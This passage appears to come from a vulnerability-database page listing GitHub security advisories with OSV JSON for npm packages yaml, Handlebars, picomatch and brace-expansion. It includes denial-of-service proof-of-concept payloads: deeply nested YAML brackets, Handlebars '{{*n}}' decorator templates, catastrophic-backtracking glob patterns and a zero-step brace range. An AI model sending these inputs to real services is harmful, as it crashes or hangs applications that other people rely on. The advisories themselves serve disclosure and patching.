"url": "https://github.com/micromatch/picomatch/commit/4516eb521f13a46b2fe1a1d2c9ef6b20ddc0e903"
},
{
"type": "PACKAGE",
"url": "https://github.com/micromatch/picomatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching"
}
GHSA-48C2-RRV3-QJMP
Vulnerability from github – Published: 2026-03-25 20:08 – Updated: 2026-03-27 21:34
VLAI
Summary
yaml is vulnerable to Stack Overflow via deeply nested YAML collections
Details
Parsing a YAML document with yaml may throw a RangeError due to a stack overflow.
The node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a RangeError: Maximum call stack size exceeded with a small payload (~2–10 KB). The RangeError is not a YAMLParseError, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application's exception handling, this can fail requests or terminate the Node.js process.
Flow sequences allow deep nesting with minimal bytes (2 bytes per level: one [ and one ]). On the default Node.js stack, approximately 1,000–5,000 levels of nesting (2–10 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).
Note: the library's Parser (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.
All three public parsing APIs are affected: YAML.parse(), YAML.parseDocument(), and YAML.parseAllDocuments().
PoC
const YAML = require('yaml');
// ~10 KB payload: 5000 levels of nested flow sequences
const payload = '['.repeat(5000) + '1' + ']'.repeat(5000);
try {
YAML.parse(payload);
} catch (e) {
console.log(e.constructor.name); // RangeError (NOT YAMLParseError)
console.log(e.message); // Maximum call stack size exceeded
}
Test environment: Node.js v24.12.0, macOS darwin arm64
| Version | Nesting Depth | Input Size | Result |
|---|---|---|---|
| 1.0.0 | 5,000 | 10,001 B | RangeError |
| 1.10.2 | 5,000 | 10,001 B | RangeError |
| 2.0.0 | 5,000 | 10,001 B | RangeError |
| 2.8.2 | 5,000 | 10,001 B | RangeError |
| 2.8.3 | 5,000 | 10,001 B | YAMLParseError |
Depth threshold on yaml 2.8.2:
| Nesting Depth | Input Size | Result |
|---|---|---|
| 500 | 1,001 B | Parses successfully |
| 1,000 | 2,001 B | RangeError (threshold varies by stack size) |
| 5,000 | 10,001 B | RangeError |
Severity
4.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "yaml"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.8.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "yaml"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33532"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T20:08:24Z",
"nvd_published_at": "2026-03-26T20:16:15Z",
"severity": "MODERATE"
},
"details": "Parsing a YAML document with `yaml` may throw a RangeError due to a stack overflow.\n\nThe node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2\u201310 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application\u0027s exception handling, this can fail requests or terminate the Node.js process.\n\nFlow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000\u20135,000 levels of nesting (2\u201310 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).\n\nNote: the library\u0027s `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.\n\nAll three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`.\n\n### PoC\n\n```javascript\nconst YAML = require(\u0027yaml\u0027);\n\n// ~10 KB payload: 5000 levels of nested flow sequences\nconst payload = \u0027[\u0027.repeat(5000) + \u00271\u0027 + \u0027]\u0027.repeat(5000);\n\ntry {\n YAML.parse(payload);\n} catch (e) {\n console.log(e.constructor.name); // RangeError (NOT YAMLParseError)\n console.log(e.message); // Maximum call stack size exceeded\n}\n```\n\nTest environment: Node.js v24.12.0, macOS darwin arm64\n\n| Version | Nesting Depth | Input Size | Result |\n|---|---|---|---|\n| 1.0.0 | 5,000 | 10,001 B | RangeError |\n| 1.10.2 | 5,000 | 10,001 B | RangeError |\n| 2.0.0 | 5,000 | 10,001 B | RangeError |\n| 2.8.2 | 5,000 | 10,001 B | RangeError |\n| 2.8.3 | 5,000 | 10,001 B | YAMLParseError |\n\nDepth threshold on yaml 2.8.2:\n\n| Nesting Depth | Input Size | Result |\n|---|---|---|\n| 500 | 1,001 B | Parses successfully |\n| 1,000 | 2,001 B | RangeError (threshold varies by stack size) |\n| 5,000 | 10,001 B | RangeError |",
"id": "GHSA-48c2-rrv3-qjmp",
"modified": "2026-03-27T21:34:51Z",
"published": "2026-03-25T20:08:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/security/advisories/GHSA-48c2-rrv3-qjmp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33532"
},
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/commit/1e84ebbea7ec35011a4c61bbb820a529ee4f359b"
},
{
"type": "PACKAGE",
"url": "https://github.com/eemeli/yaml"
},
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/releases/tag/v1.10.3"
},
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/releases/tag/v2.8.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "yaml is vulnerable to Stack Overflow via deeply nested YAML collections"
}
GHSA-9CX6-37PM-9JFF
Vulnerability from github – Published: 2026-03-27 18:21 – Updated: 2026-03-30 20:08
VLAI
Summary
Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation
Details
Summary
When a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. {{*n}}), the compiled template calls lookupProperty(decorators, "n"), which returns undefined. The runtime then immediately invokes the result as a function, causing an unhandled TypeError: ... is not a function that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a try/catch is vulnerable to a single-request Denial of Service.
Description
In lib/handlebars/compiler/javascript-compiler.js, the code generated for a decorator invocation looks like:
fn = lookupProperty(decorators, "n")(fn, props, container, options) || fn;
When "n" is not a registered decorator, lookupProperty(decorators, "n") returns undefined. The expression immediately attempts to call undefined as a function, producing:
TypeError: lookupProperty(...) is not a function
Because the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.
This inconsistency is notable: references to unregistered helpers produce a clean "Missing helper: ..." error, while references to unregistered decorators cause a hard crash.
Attack scenario: An attacker submits {{*n}} as template content to any endpoint that calls Handlebars.compile(userInput)(). Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.
Proof of Concept
const Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x
// Any of these payloads crash the process
Handlebars.compile('{{*n}}')({});
Handlebars.compile('{{*decorator}}')({});
Handlebars.compile('{{*constructor}}')({});
Expected crash output:
TypeError: lookupProperty(...) is not a function
at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))
Workarounds
- Wrap compilation and rendering in
try/catch:javascript try { const result = Handlebars.compile(userInput)(context); res.send(result); } catch (err) { res.status(400).send('Invalid template'); } - Validate template input before passing it to
compile(). Reject templates containing decorator syntax ({{*...}}) if decorators are not used in your application. - Use the pre-compilation workflow: compile templates at build time and serve only pre-compiled templates; do not call
compile()at request time.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33939"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:21:15Z",
"nvd_published_at": "2026-03-27T22:16:20Z",
"severity": "HIGH"
},
"details": "## Summary\n\nWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service.\n\n## Description\n\nIn `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like:\n\n```javascript\nfn = lookupProperty(decorators, \"n\")(fn, props, container, options) || fn;\n```\n\nWhen `\"n\"` is not a registered decorator, `lookupProperty(decorators, \"n\")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing:\n\n```\nTypeError: lookupProperty(...) is not a function\n```\n\nBecause the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and \u2014 when not caught by the application \u2014 crashes the Node.js process.\n\nThis inconsistency is notable: references to unregistered **helpers** produce a clean `\"Missing helper: ...\"` error, while references to unregistered **decorators** cause a hard crash.\n\n**Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027); // Handlebars 4.7.8, Node.js v22.x\n\n// Any of these payloads crash the process\nHandlebars.compile(\u0027{{*n}}\u0027)({});\nHandlebars.compile(\u0027{{*decorator}}\u0027)({});\nHandlebars.compile(\u0027{{*constructor}}\u0027)({});\n```\n\nExpected crash output:\n```\nTypeError: lookupProperty(...) is not a function\n at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))\n```\n\n## Workarounds\n\n- **Wrap compilation and rendering in `try/catch`:**\n ```javascript\n try {\n const result = Handlebars.compile(userInput)(context);\n res.send(result);\n } catch (err) {\n res.status(400).send(\u0027Invalid template\u0027);\n }\n ```\n- **Validate template input** before passing it to `compile()`. Reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application.\n- **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time.",
"id": "GHSA-9cx6-37pm-9jff",
"modified": "2026-03-30T20:08:14Z",
"published": "2026-03-27T18:21:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33939"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation"
}
GHSA-C2C7-RCM5-VVQJ
Vulnerability from github – Published: 2026-03-25 21:12 – Updated: 2026-03-27 21:36
VLAI
Summary
Picomatch has a ReDoS vulnerability via extglob quantifiers
Details
Impact
picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.
Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.
Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.
Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
- disable extglob support for untrusted patterns by using noextglob: true
- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *()
- enforce strict allowlists for accepted pattern syntax
- run matching in an isolated worker or separate process with time and resource limits
- apply application-level request throttling and input validation for any endpoint that accepts glob patterns
Resources
- Picomatch repository: https://github.com/micromatch/picomatch
lib/parse.jsandlib/constants.jsare involved in generating the vulnerable regex forms- Comparable ReDoS precedent: CVE-2024-4067 (
micromatch) - Comparable generated-regex precedent: CVE-2024-45296 (
path-to-regexp)
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33671"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T21:12:07Z",
"nvd_published_at": "2026-03-26T22:16:30Z",
"severity": "HIGH"
},
"details": "### Impact\n`picomatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.\n\nExamples of problematic patterns include `+(a|aa)`, `+(*|?)`, `+(+(a))`, `*(+(a))`, and `+(+(+(a)))`. In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, `+(a|aa)` compiled to `^(?:(?=.)(?:a|aa)+)$` and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as `+(+(a))` and `*(+(a))` took around 29 seconds to reject a 33-character input on a modern M1 MacBook.\n\nApplications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.\n\n### Patches\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`.\n\nPossible mitigations include:\n- disable extglob support for untrusted patterns by using `noextglob: true`\n- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()`\n- enforce strict allowlists for accepted pattern syntax\n- run matching in an isolated worker or separate process with time and resource limits\n- apply application-level request throttling and input validation for any endpoint that accepts glob patterns\n\n### Resources\n- Picomatch repository: https://github.com/micromatch/picomatch\n- `lib/parse.js` and `lib/constants.js` are involved in generating the vulnerable regex forms\n- Comparable ReDoS precedent: CVE-2024-4067 (`micromatch`)\n- Comparable generated-regex precedent: CVE-2024-45296 (`path-to-regexp`)",
"id": "GHSA-c2c7-rcm5-vvqj",
"modified": "2026-03-27T21:36:13Z",
"published": "2026-03-25T21:12:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33671"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d"
},
{
"type": "PACKAGE",
"url": "https://github.com/micromatch/picomatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Picomatch has a ReDoS vulnerability via extglob quantifiers"
}
GHSA-F886-M6HF-6M8V
Vulnerability from github – Published: 2026-03-26 18:29 – Updated: 2026-03-27 21:38
VLAI
Summary
brace-expansion: Zero-step sequence causes process hang and memory exhaustion
Details
Impact
A brace pattern with a zero step value (e.g., {1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.
The loop in question:
https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184
test() is one of
https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113
The increment is computed as Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a RangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.
This affects any application that passes untrusted strings to expand(), or by error sets a step value of 0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.
Patches
Upgrade to versions - 5.0.5+
A step increment of 0 is now sanitized to 1, which matches bash behavior.
Workarounds
Sanitize strings passed to expand() to ensure a step value of 0 is not used.
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33750"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:29:42Z",
"nvd_published_at": "2026-03-27T15:16:57Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.\n\nThe loop in question:\n\nhttps://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184\n\n`test()` is one of\n\nhttps://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113\n\nThe increment is computed as `Math.abs(0) = 0`, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a `RangeError`. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.\n\nThis affects any application that passes untrusted strings to expand(), or by error sets a step value of `0`. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.\n\n### Patches\n\n\nUpgrade to versions\n- 5.0.5+\n\nA step increment of 0 is now sanitized to 1, which matches bash behavior.\n\n### Workarounds\n\nSanitize strings passed to `expand()` to ensure a step value of `0` is not used.",
"id": "GHSA-f886-m6hf-6m8v",
"modified": "2026-03-27T21:38:55Z",
"published": "2026-03-26T18:29:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/issues/98"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/95"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/96"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/97"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a"
},
{
"type": "PACKAGE",
"url": "https://github.com/juliangruber/brace-expansion"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "brace-expansion: Zero-step sequence causes process hang and memory exhaustion"
}
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Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
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